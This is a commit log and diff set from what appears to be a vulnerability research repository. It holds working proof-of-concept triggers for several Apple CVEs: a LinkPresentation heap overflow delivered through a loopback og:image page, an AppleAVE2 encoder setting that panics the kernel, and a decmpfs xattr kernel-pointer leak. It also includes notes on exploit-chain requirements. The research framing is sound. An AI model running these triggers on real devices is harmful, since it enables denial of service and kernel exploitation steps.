3 Commits
Author SHA1 Message Date
JBJF 6f4ed67c38 112507 reachability closed: notification registration refused (-300)
- New kern.ipc.lifecycle module: dead-name registration, dead-name send,
  notification receive, name reuse — single-threaded, safe on device
- Device receipt (iPhone19,7, iOS 27.0.1, ad-hoc signed): request DEAD_NAME
  returns -300 (MIG_TYPE_ERROR); send -> MACH_SEND_INVALID_DEST; receive
  times out; 0/12,288 registrations armed in kern.ipc
- macOS 27 sweep: 13 notification-type/right combinations, all -300
- kern.ipc now counts armed registrations and retracts the old 'survived'
  verdict when armed == 0; the request table is never armed
- docs/KERNEL-RW-ASSESSMENT.md: 112507 marked closed for this app
- app 2.2 build 5; 57 modules
2026-10-31 15:59:20 +08:00
JBJF c30aadf9bb kernel R/W assessment for the high/critical entries
- docs/KERNEL-RW-ASSESSMENT.md: per-primitive verdict. None of the six
  kernel-reachable bugs supplies both address and value control; the chain
  requirements (KASLR, grooming, reclaim, gadget, PAC/PPL) are listed per entry
- CVE-2026-113910.c: leak collector — 8 chunk configs x --loop, canonical
  pointer classification (kernel-text / kernel-data / kernel-other), --keep
  raw dump, --verbose; candidates are printed, never dereferenced
- 112705 / 65385 / 112696: explicit primitive-limit headers (DoS, fixed-offset
  write without leak, honest negative); no blind writes
- README: link the assessment and the new 113910 receipt (0 candidates, 16 runs)
2026-10-31 15:37:58 +08:00
JBJF ed682e859b v2.1 — CVE-2026-112705 / 112621 / 84636
Three public research arrivals, each with a .swift and .c POC folder:

- CVE-2026-112705 (AppleAVE2 NumberOfTemporalLayers): app split into a
  property probe (ave.ntl) and a deliberate fire module (ave.ntl.fire);
  C twin carries a --force-host gate because a frame submit reaches the
  same driver that panicked the dev Mac, so the host only builds it
- CVE-2026-112621 (LinkPresentation LPAnimatedImageTranscoder): 256x16 ->
  256x48 container, loopback og:image delivery, LPMetadataProvider; probe
  checks the pool math, fire runs the real transcode; C twin reproduces the
  48-row clear against a guard page (32,768 B past the 16,384-byte pool)
- CVE-2026-84636 (configd dynamic store): SSID + router MAC without the
  wifi-info entitlement, compared in-process with CNCopyCurrentNetworkInfo

56 modules, 34 CVE folders, 45 Swift POC files, 34 C twins. Device IPA
2.1 build 4; simulator regression: sc.dynamicstore / ave.ntl / lp.heic all
done (overflow=32768, NTL refused 0/4 on the simulator's encoder path).
2026-10-31 15:27:09 +08:00
18 changed files with 1810 additions and 86 deletions

No files matched your search

+24 -11
View File
@@ -17,7 +17,7 @@
// ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ──
typedef struct {
long operations, allocations, notifications, sends, deallocations;
long operations, allocations, notifications, sends, deallocations, armed;
int budget_exhausted;
long notifications_refused;
long budget;
@@ -50,10 +50,10 @@ static void record(kern_return_t kr) {
//
// Resource discipline: mod_refs with a negative delta against a zero send-ref count
// does not return an error on this platform — it SIGKILLs the process. Check first.
typedef struct { long alloc, notify, send, dealloc; } ring_result;
typedef struct { long alloc, notify, send, dealloc, armed; } ring_result;
static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) {
ring_result r = {0, 0, 0, 0};
ring_result r = {0, 0, 0, 0, 0};
mach_port_name_t ports[512];
int nports = 0;
if (depth > 512) depth = 512;
@@ -79,9 +79,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
kern_return_t kr1 = mach_port_request_notification(
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev);
if (kr1 != KERN_SUCCESS) {
if (kr1 == KERN_SUCCESS) {
r.armed++;
} else {
record(kr1);
if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++;
(*refused)++;
}
if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1);
r.notify++;
@@ -90,9 +92,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
kern_return_t kr2 = mach_port_request_notification(
task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2);
if (kr2 != KERN_SUCCESS) {
if (kr2 == KERN_SUCCESS) {
r.armed++;
} else {
record(kr2);
if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++;
(*refused)++;
}
if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1);
r.notify++;
@@ -159,7 +163,7 @@ static int g_depth = 48;
static void *worker(void *arg) {
(void)arg;
long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0;
long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0, local_armed = 0;
while (!past_deadline()) {
pthread_mutex_lock(&S.lock);
@@ -184,6 +188,7 @@ static void *worker(void *arg) {
local_notify += res.notify;
local_send += res.send;
local_dealloc += res.dealloc;
local_armed += res.armed;
local_ops += 4;
pthread_mutex_lock(&S.lock);
@@ -197,6 +202,7 @@ static void *worker(void *arg) {
S.notifications += local_notify;
S.sends += local_send;
S.deallocations += local_dealloc;
S.armed += local_armed;
pthread_mutex_unlock(&S.lock);
return NULL;
}
@@ -246,8 +252,8 @@ int main(int argc, char **argv) {
for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL);
for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL);
printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n",
S.operations, S.allocations, S.notifications, S.sends, S.deallocations);
printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld armed=%ld\n",
S.operations, S.allocations, S.notifications, S.sends, S.deallocations, S.armed);
if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n");
if (S.notifications_refused > 0) {
printf("notifications refused %ld times — this platform does not allow notification\n"
@@ -260,7 +266,14 @@ int main(int argc, char **argv) {
printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]);
}
}
printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n");
if (S.armed == 0 && S.notifications > 0) {
printf("notification registration never succeeded (-300, MIG type error).\n");
printf("the request-table path was never armed: this run is not a 112507 test.\n");
printf("CVE-2026-112507 · NOT REACHED from this process\n");
} else {
printf("CVE-2026-112507 · %ld registrations armed, survived the interleaving, "
"no request-table fault surfaced\n", S.armed);
}
pthread_mutex_destroy(&S.lock);
return 0;
}
+150
View File
@@ -0,0 +1,150 @@
// lp.heic · LinkPresentation · LPAnimatedImageTranscoder · CVE-2026-112621
// C twin of the Swift POC: build the two-frame container, then reproduce the exact
// draw that goes out of bounds.
//
// The transcoder sizes its pixel pool from frame 0 (256x16, 1024-byte row stride,
// 16384 bytes of pixel data) and then draws the current frame with the frame's own
// height. Frame 1 is 256x48, so CGContextClearRect clears 48 rows into a 16-row
// buffer.
//
// This file places the 16-row buffer directly against a PROT_NONE page, catches the
// first faulting store, and reports the distance past the pool. It never corrupts
// live memory and never touches the kernel.
//
// Build: clang -O2 -o cve-2026-112621 CVE-2026-112621.c \
// -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112621 [out.tiff]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/mman.h>
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static sigjmp_buf jump;
static volatile sig_atomic_t faulted;
static volatile uintptr_t fault_addr;
static void on_fault(int sig, siginfo_t *info, void *ctx) {
(void)sig; (void)ctx;
faulted = 1;
fault_addr = (uintptr_t)info->si_addr;
siglongjmp(jump, 1);
}
static CGImageRef solid(int w, int h, CGFloat r, CGFloat g, CGFloat b) {
CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB();
CGContextRef ctx = CGBitmapContextCreate(NULL, w, h, 8, w * 4, cs,
kCGImageAlphaPremultipliedLast);
CGContextSetRGBFillColor(ctx, r, g, b, 1.0);
CGContextFillRect(ctx, CGRectMake(0, 0, w, h));
CGImageRef img = CGBitmapContextCreateImage(ctx);
CGContextRelease(ctx);
CGColorSpaceRelease(cs);
return img;
}
static CFMutableDataRef build_tiff(void) {
CFMutableDataRef data = CFDataCreateMutable(NULL, 0);
CGImageDestinationRef dest = CGImageDestinationCreateWithData(data, CFSTR("public.tiff"), 2, NULL);
if (!dest) { CFRelease(data); return NULL; }
CGImageRef f0 = solid(256, 16, 0.90, 0.10, 0.10);
CGImageRef f1 = solid(256, 48, 0.10, 0.20, 0.90);
CGImageDestinationAddImage(dest, f0, NULL);
CGImageDestinationAddImage(dest, f1, NULL);
int ok = CGImageDestinationFinalize(dest);
CGImageRelease(f0); CGImageRelease(f1); CFRelease(dest);
if (!ok) { CFRelease(data); return NULL; }
return data;
}
static void probe(CFDataRef data) {
CGImageSourceRef src = CGImageSourceCreateWithData(data, NULL);
if (!src) { printf("ImageIO refused the container\n"); return; }
size_t count = CGImageSourceGetCount(src);
printf("count=%zu bytes=%ld\n", count, (long)CFDataGetLength(data));
for (size_t i = 0; i < count && i < 2; i++) {
CGImageRef img = CGImageSourceCreateImageAtIndex(src, i, NULL);
if (img) {
printf("frame[%zu] %zux%zu\n", i, CGImageGetWidth(img), CGImageGetHeight(img));
CGImageRelease(img);
}
}
CFRelease(src);
}
int main(int argc, char **argv) {
CFMutableDataRef tiff = build_tiff();
if (!tiff) { printf("could not build the two-frame container\n"); return 1; }
probe(tiff);
if (argc > 1) {
CFURLRef url = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 *)argv[1],
strlen(argv[1]), false);
CGImageDestinationRef dest = CGImageDestinationCreateWithURL(url, CFSTR("public.tiff"), 2, NULL);
if (dest) {
CGImageRef f0 = solid(256, 16, 0.90, 0.10, 0.10);
CGImageRef f1 = solid(256, 48, 0.10, 0.20, 0.90);
CGImageDestinationAddImage(dest, f0, NULL);
CGImageDestinationAddImage(dest, f1, NULL);
CGImageDestinationFinalize(dest);
CGImageRelease(f0); CGImageRelease(f1); CFRelease(dest);
printf("seed written: %s\n", argv[1]);
}
CFRelease(url);
}
// Reproduce the transcoder's buffer sizing: pool from frame 0, draw from frame 1.
size_t page = (size_t)sysconf(_SC_PAGESIZE);
size_t stride = 1024; // 256 px * 4 bytes, frame 0 row
size_t pool = 16 * stride; // frame 0 pixel data: 16384 bytes
size_t pool_pages = (pool + page - 1) / page;
size_t total = (pool_pages + 1) * page;
unsigned char *base = mmap(NULL, total, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANON, -1, 0);
if (base == MAP_FAILED) { perror("mmap"); return 1; }
unsigned char *guard = base + pool_pages * page;
if (mprotect(guard, page, PROT_NONE) != 0) { perror("mprotect"); return 1; }
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = on_fault;
sa.sa_flags = SA_SIGINFO | SA_ONSTACK;
sigemptyset(&sa.sa_mask);
sigaction(SIGBUS, &sa, NULL);
sigaction(SIGSEGV, &sa, NULL);
// The buffer the pool handed out, with exactly pool bytes before the guard.
unsigned char *buf = guard - pool;
CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB();
CGContextRef ctx = CGBitmapContextCreate(buf, 256, 48, 8, stride, cs,
kCGImageAlphaPremultipliedLast);
printf("CGBitmapContextCreate(256x48 over a %zu-byte pool) = %p\n", pool, (void *)ctx);
if (!ctx) {
printf("context rejected — width/stride mismatch would stop the trigger here\n");
munmap(base, total);
CFRelease(tiff);
return 0;
}
printf("CGContextClearRect: 48 rows = %zu bytes, pool = %zu bytes\n", 48 * stride, pool);
if (sigsetjmp(jump, 1) == 0) {
CGContextClearRect(ctx, CGRectMake(0, 0, 256, 48));
printf("no fault — the write stayed inside the mapping\n");
} else {
printf("fault at guard + %lu bytes\n", (unsigned long)(fault_addr - (uintptr_t)guard));
printf("oracle: the clear walked %zu bytes past the 16-row pool before the guard page stopped it\n",
48 * stride - pool);
}
CGContextRelease(ctx);
CGColorSpaceRelease(cs);
munmap(base, total);
CFRelease(tiff);
return 0;
}
+173
View File
@@ -0,0 +1,173 @@
// lp.heic · LinkPresentation · LPAnimatedImageTranscoder · CVE-2026-112621
// Out-of-bounds write when a later frame is taller than the first.
//
// -[LPAnimatedImageTranscoder _transcodeWithCompletionHandler:] reads the pixel size
// of image 0 and configures the video writer with it. encodeNextFrame then takes the
// draw height from the current decoded frame while the destination is the pooled
// buffer sized for frame 0. CGContextClearRect writes the taller frame's rows past
// the pool.
//
// Delivery is the public path: LPMetadataProvider fetches a page, reads og:image, and
// feeds the multi-frame file to the transcoder. This file serves that page from
// loopback, so no network is involved.
//
// 256x16 then 256x48 keeps the width equal (the pool's row stride must accept the
// width) and only grows the height.
//
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112621 CVE-2026-112621.swift \
// -framework ImageIO -framework CoreGraphics -framework LinkPresentation \
// -framework Network -framework UniformTypeIdentifiers
// Run: ./cve-2026-112621
import Foundation
import ImageIO
import CoreGraphics
import LinkPresentation
import Network
import UniformTypeIdentifiers
let firstSize = (256, 16)
let laterSize = (256, 48)
func solid(_ w: Int, _ h: Int, _ r: CGFloat, _ g: CGFloat, _ b: CGFloat) -> CGImage {
let cs = CGColorSpaceCreateDeviceRGB()
let ctx = CGContext(data: nil, width: w, height: h, bitsPerComponent: 8,
bytesPerRow: w * 4, space: cs,
bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue)!
ctx.setFillColor(red: r, green: g, blue: b, alpha: 1)
ctx.fill(CGRect(x: 0, y: 0, width: w, height: h))
return ctx.makeImage()!
}
// Two independently sized frames in one container. HEIC is the format from the
// advisory; TIFF is the fallback that ImageIO still decodes as independent pages.
func multiFrame(_ type: UTType) -> Data? {
let data = NSMutableData()
guard let dest = CGImageDestinationCreateWithData(data, type.identifier as CFString, 2, nil) else {
return nil
}
CGImageDestinationAddImage(dest, solid(firstSize.0, firstSize.1, 0.90, 0.10, 0.10), nil)
CGImageDestinationAddImage(dest, solid(laterSize.0, laterSize.1, 0.10, 0.20, 0.90), nil)
guard CGImageDestinationFinalize(dest) else { return nil }
return data as Data
}
func probe(_ data: Data, _ label: String) {
guard let src = CGImageSourceCreateWithData(data as CFData, nil) else {
print("\(label): ImageIO refused the container"); return
}
let count = CGImageSourceGetCount(src)
print("\(label): count=\(count) bytes=\(data.count)")
for i in 0..<min(2, count) {
if let img = CGImageSourceCreateImageAtIndex(src, i, nil) {
print(" frame[\(i)] \(img.width)x\(img.height)")
}
}
}
// ── loopback server: one HTML page with og:image, one image endpoint ──
final class LocalServer {
private let listener: NWListener
private let image: Data
private let mime: String
private(set) var queued = 0
init(image: Data, mime: String) throws {
self.image = image
self.mime = mime
let params = NWParameters.tcp
params.allowLocalEndpointReuse = true
listener = try NWListener(using: params, on: .any)
}
func start() throws -> UInt16 {
let ready = DispatchSemaphore(value: 0)
listener.stateUpdateHandler = { state in
if case .ready = state { ready.signal() }
}
listener.newConnectionHandler = { [weak self] conn in self?.serve(conn) }
listener.start(queue: .global())
_ = ready.wait(timeout: .now() + 5)
return listener.port?.rawValue ?? 0
}
private func serve(_ conn: NWConnection) {
conn.start(queue: .global())
conn.receive(minimumIncompleteLength: 1, maximumLength: 8192) { [weak self] data, _, _, _ in
guard let self, let data, let head = String(data: data, encoding: .utf8) else {
conn.cancel(); return
}
let path = head.split(separator: " ").dropFirst().first.map(String.init) ?? "/"
self.queued += 1
if path.hasPrefix("/pic") {
self.respond(conn, body: self.image, type: self.mime)
} else {
let page = """
<!doctype html><html><head><meta charset="utf-8">
<meta property="og:title" content="CVE-2026-112621">
<meta property="og:image" content="http://127.0.0.1:\(self.listener.port?.rawValue ?? 0)/pic">
</head><body>cve-2026-112621</body></html>
"""
self.respond(conn, body: Data(page.utf8), type: "text/html")
}
}
}
private func respond(_ conn: NWConnection, body: Data, type: String) {
var out = Data("HTTP/1.1 200 OK\r\nContent-Type: \(type)\r\nContent-Length: \(body.count)\r\nConnection: close\r\n\r\n".utf8)
out.append(body)
conn.send(content: out, completion: .contentProcessed { _ in conn.cancel() })
}
func stop() { listener.cancel() }
}
// HEIC first; if the platform cannot encode it, a TIFF served as image/gif still
// passes -[LPImage _isAnimated] (MIME allowlist) and ImageIO decodes it by content.
var image = multiFrame(.heic)
var mime = "image/heic"
if image == nil {
image = multiFrame(.tiff)
mime = "image/gif"
}
guard let payload = image else {
print("could not build a multi-frame container"); exit(1)
}
probe(payload, "seed (\(mime))")
let server = try LocalServer(image: payload, mime: mime)
let port = try server.start()
guard port != 0, let url = URL(string: "http://127.0.0.1:\(port)/") else {
print("server did not bind"); exit(1)
}
print("serving \(url) — ct=\(mime)")
var done = false
var title: String?
var error: String?
DispatchQueue.global().async {
let provider = LPMetadataProvider()
provider.timeout = 20
provider.startFetchingMetadata(for: url) { meta, err in
title = meta?.title
error = err?.localizedDescription
done = true
}
}
let deadline = Date().addingTimeInterval(40)
while !done && Date() < deadline {
RunLoop.main.run(until: Date().addingTimeInterval(0.1))
}
if !done {
print("metadata fetch timed out")
} else if let error {
print("metadata error: \(error)")
} else {
print("metadata title: \(title ?? "(none)")")
print("survived — the transcoder did not take the taller frame (fixed build)")
}
print("image requests: \(server.queued)")
server.stop()
+4
View File
@@ -2,6 +2,10 @@
// ANE userspace entry point probe
// C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the
// client/program/model/request entry points the CVE lives behind.
//
// Honest negative: the ANE kernel interface is not reachable from a third-party
// process, so this is a reachability map, not a primitive. No R/W is attempted.
// See docs/KERNEL-RW-ASSESSMENT.md.
// Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c
// Run: ./cve-2026-112696
+134
View File
@@ -0,0 +1,134 @@
// ave.ntl · AppleAVE2 · VideoToolbox HEVC · CVE-2026-112705
// C twin of the Swift POC. Full trigger: HEVC session, private usage/rate-control
// selectors, poisoned NumberOfTemporalLayers, one IOSurface frame submit.
//
// Setting 16463 and encoding once makes AppleAVE2 write past a fixed-size table.
// On iOS 27.0-27.1 the kernel data-aborts on the first frame; 16462 survives.
// iOS 27.2 refuses the property with -12900.
// macOS runs the same driver: the encode is gated behind --force-host because it can
// panic the host kernel.
//
// Primitive limit: the write is a constant fill at a fixed offset. There is no
// address control and no value control, so this is a DoS primitive, not an
// arbitrary kernel read/write. See docs/KERNEL-RW-ASSESSMENT.md.
//
// Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
// Run: ./cve-2026-112705 [layers] [--force-host]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <TargetConditionals.h>
#include <VideoToolbox/VideoToolbox.h>
#include <CoreMedia/CoreMedia.h>
#include <CoreVideo/CoreVideo.h>
#include <CoreFoundation/CoreFoundation.h>
static int32_t set_prop(VTCompressionSessionRef s, const char *key, CFTypeRef value) {
CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
int32_t st = VTSessionSetProperty(s, k, value);
CFRelease(k);
return st;
}
static void print_readback(VTCompressionSessionRef s, const char *key) {
CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
CFTypeRef out = NULL;
int32_t st = VTSessionCopyProperty(s, k, kCFAllocatorDefault, &out);
if (st == 0 && out) {
CFStringRef d = CFCopyDescription(out);
char buf[256] = {0};
if (d) {
CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8);
CFRelease(d);
}
printf("%s\n", buf);
CFRelease(out);
} else {
printf("copyErr=%d\n", st);
}
CFRelease(k);
}
int main(int argc, char **argv) {
int layers = 16463;
int force_host = 0;
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--force-host") == 0) force_host = 1;
else if (atoi(argv[i]) > 0) layers = atoi(argv[i]);
}
VTCompressionSessionRef session = NULL;
OSStatus create = VTCompressionSessionCreate(kCFAllocatorDefault, 1280, 720,
kCMVideoCodecType_HEVC, NULL, NULL,
NULL, NULL, NULL, &session);
printf("VTCompressionSessionCreate(hvc1) status=%d\n", (int)create);
if (create != 0 || !session) return 1;
int one = 1, twenty = 20;
CFNumberRef n1 = CFNumberCreate(NULL, kCFNumberIntType, &one);
CFNumberRef n20 = CFNumberCreate(NULL, kCFNumberIntType, &twenty);
int32_t su = set_prop(session, "EncoderUsage", n1);
int32_t sr = set_prop(session, "RCMode", n20);
CFRelease(n1);
CFRelease(n20);
set_prop(session, "RealTime", kCFBooleanFalse);
printf("EncoderUsage=%d RCMode=%d\n", su, sr);
CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers);
int32_t sn = set_prop(session, "NumberOfTemporalLayers", n);
CFRelease(n);
printf("NumberOfTemporalLayers=%d status=%d\n", layers, sn);
printf("readback: ");
print_readback(session, "NumberOfTemporalLayers");
if (sn != 0) {
printf("property refused — fixed build (27.2+) or no AVE2 property here\n");
VTCompressionSessionInvalidate(session);
CFRelease(session);
return 0;
}
#if TARGET_OS_OSX
if (!force_host) {
printf("host guard: property accepted but no frame submitted.\n");
printf("a frame submit here can panic the macOS kernel through AppleAVE2.\n");
printf("re-run with --force-host on a disposable machine to fire it.\n");
VTCompressionSessionInvalidate(session);
CFRelease(session);
return 0;
}
#endif
CFDictionaryRef empty = CFDictionaryCreate(NULL, NULL, NULL, 0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
CFDictionaryRef attrs = CFDictionaryCreate(NULL,
(const void **)&kCVPixelBufferIOSurfacePropertiesKey, (const void **)&empty, 1,
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
CVPixelBufferRef pb = NULL;
CVReturn pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
attrs, &pb);
printf("CVPixelBufferCreate status=%d\n", pc);
CFRelease(attrs);
CFRelease(empty);
if (pc != 0 || !pb) { VTCompressionSessionInvalidate(session); CFRelease(session); return 1; }
for (int i = 0; i < 4; i++) {
CMTime pts = CMTimeMake(i, 30);
VTEncodeInfoFlags flags = 0;
OSStatus st = VTCompressionSessionEncodeFrame(session, pb, pts, kCMTimeInvalid,
NULL, NULL, &flags);
printf("encode[%d] status=%d\n", i, (int)st);
if (st != 0) break;
}
VTCompressionSessionCompleteFrames(session, kCMTimeInvalid);
printf("survived — this build does not panic\n");
CVPixelBufferRelease(pb);
VTCompressionSessionInvalidate(session);
CFRelease(session);
return 0;
}
+105
View File
@@ -0,0 +1,105 @@
// ave.ntl · AppleAVE2 · VideoToolbox HEVC encoder · CVE-2026-112705
// Kernel out-of-bounds write through NumberOfTemporalLayers.
//
// The encoder session accepts a layer count far past the table the driver sized.
// Setting 16463 and submitting one frame makes AppleAVE2 write at a fixed offset
// past its allocation; the kernel faults and the device panics. 16462 survives.
// iOS 27.0-27.1 carry the defect, 27.2 refuses the property with -12900.
// macOS carries the same driver: encode with a poisoned layer count can panic the
// host kernel, so this file refuses to submit a frame unless --force-host is given.
//
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo
// Run: ./cve-2026-112705 [layers] [--force-host] default 16463
import Foundation
import VideoToolbox
import CoreMedia
import CoreVideo
let args = CommandLine.arguments
let forceHost = args.contains("--force-host")
let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463
func fourCC(_ v: OSStatus) -> String {
let n = UInt32(bitPattern: v)
let bytes = [UInt8((n >> 24) & 0xff), UInt8((n >> 16) & 0xff), UInt8((n >> 8) & 0xff), UInt8(n & 0xff)]
if bytes.allSatisfy({ $0 >= 0x20 && $0 < 0x7f }) { return "'" + String(bytes: bytes, encoding: .ascii)! + "'" }
return "\(v)"
}
func set(_ session: VTCompressionSession, _ key: String, _ value: CFTypeRef) -> OSStatus {
VTSessionSetProperty(session, key: key as CFString, value: value)
}
func readBack(_ session: VTCompressionSession, _ key: String) -> String {
var out: CFTypeRef?
let st = VTSessionCopyProperty(session, key: key as CFString, allocator: kCFAllocatorDefault, valueOut: &out)
guard st == 0, let v = out else { return "copyErr=\(st)" }
return "value=\(v)"
}
var session: VTCompressionSession?
// HEVC 1280x720 is the smallest surface the AVE2 driver accepts for this path.
let create = VTCompressionSessionCreate(allocator: kCFAllocatorDefault,
width: 1280, height: 720,
codecType: kCMVideoCodecType_HEVC,
encoderSpecification: nil,
imageBufferAttributes: nil,
compressedDataAllocator: nil,
outputCallback: nil,
refcon: nil,
compressionSessionOut: &session)
print("VTCompressionSessionCreate(hvc1) status=\(create) \(fourCC(create))")
guard create == 0, let s = session else { exit(1) }
// The recipe: private usage selector 1 with rate-control mode 20 puts the session on
// the AVE2 firmware path; real-time off keeps the frame queued.
let su = set(s, "EncoderUsage", NSNumber(value: 1))
let sr = set(s, "RCMode", NSNumber(value: 20))
_ = set(s, kVTCompressionPropertyKey_RealTime as String, kCFBooleanFalse)
print("EncoderUsage=\(su) RCMode=\(sr)")
let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers))
print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))")
if sn != 0 {
print("property refused — fixed build (27.2+) or a platform without the AVE2 property")
VTCompressionSessionInvalidate(s)
exit(0)
}
#if os(macOS)
if !forceHost {
print("host guard: property accepted but no frame submitted.")
print("submitting a frame here can panic the macOS kernel through AppleAVE2.")
print("re-run with --force-host on a disposable machine to fire it.")
VTCompressionSessionInvalidate(s)
exit(0)
}
#endif
// One IOSurface-backed bi-planar frame is enough: the write lands while the driver
// prepares the frame, before any compressed output exists.
var attrs: [CFString: Any] = [:]
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
var pixelBuffer: CVPixelBuffer?
let pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
attrs as CFDictionary, &pixelBuffer)
print("CVPixelBufferCreate status=\(pc)")
guard pc == 0, let pb = pixelBuffer else { exit(1) }
for i in 0..<4 {
let pts = CMTime(value: CMTimeValue(i), timescale: 30)
let st = VTCompressionSessionEncodeFrame(s, imageBuffer: pb,
presentationTimeStamp: pts,
duration: .invalid,
frameProperties: nil,
infoFlagsOut: nil) { _, _, _ in }
print("encode[\(i)] status=\(st) \(fourCC(st))")
if st != 0 { break }
}
VTCompressionSessionCompleteFrames(s, untilPresentationTimeStamp: .invalid)
print("survived — this build does not panic (fixed build or simulator)")
VTCompressionSessionInvalidate(s)
+127 -38
View File
@@ -2,9 +2,14 @@
// Kernel heap disclosure through short-producing chunks
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
// chunks produce fewer bytes than the chunk table promises, writes it onto a file,
// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000).
// reads the file back and classifies every canonical kernel pointer in the result.
//
// The leak is the chain step, not the whole chain: it discloses heap bytes, it does
// not write them. --loop repeats the sweep and aggregates; --keep writes the raw
// readback for offline analysis. Candidates are printed, never dereferenced.
//
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
// Run: ./cve-2026-113910
// Run: ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose]
#include <stdio.h>
#include <stdlib.h>
@@ -85,28 +90,69 @@ static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce)
return out;
}
// ── trigger: xattr round trip + kernel-pointer scan ──
// ── leak classification ──
// arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into
// the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…).
// Anything that looks like a tagged userspace pointer is reported separately; it is
// not a KASLR lead. Values are only ever printed.
enum ptr_class {
PTR_NONE = 0,
PTR_KERNEL_TEXT,
PTR_KERNEL_DATA,
PTR_KERNEL_OTHER,
PTR_USER,
};
static const char *class_name(int c) {
switch (c) {
case PTR_KERNEL_TEXT: return "kernel-text";
case PTR_KERNEL_DATA: return "kernel-data";
case PTR_KERNEL_OTHER: return "kernel-other";
case PTR_USER: return "user";
default: return "-";
}
}
static int classify(uint64_t v) {
if (v == 0) return PTR_NONE;
if ((v >> 48) == 0xffff) {
if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT;
if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA;
return PTR_KERNEL_OTHER;
}
if ((v >> 48) == 0x0000) return PTR_USER;
return PTR_NONE;
}
typedef struct {
int wrote_xattr;
long read_back;
long hits;
char samples[8][32];
long by_class[5];
char samples[8][40];
int nsamples;
char note[128];
} decmpfs_result;
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) {
static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) {
if (r->nsamples >= 8) return;
snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s",
(unsigned long long)v, off, class_name(cls));
r->nsamples++;
}
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce,
FILE *keep, int verbose) {
decmpfs_result r = {0};
// seed file: plain 0x41 content (the uncompressed claim)
unlink(path);
int fd = open(path, O_WRONLY | O_CREAT, 0644);
if (fd >= 0) {
uint8_t zeros[4096];
memset(zeros, 0x41, sizeof zeros);
uint8_t fill[4096];
memset(fill, 0x41, sizeof fill);
size_t left = uncompressed < 64 ? 64 : uncompressed;
while (left > 0) {
size_t take = left < sizeof zeros ? left : sizeof zeros;
if (write(fd, zeros, take) != (ssize_t)take) break;
size_t take = left < sizeof fill ? left : sizeof fill;
if (write(fd, fill, take) != (ssize_t)take) break;
left -= take;
}
close(fd);
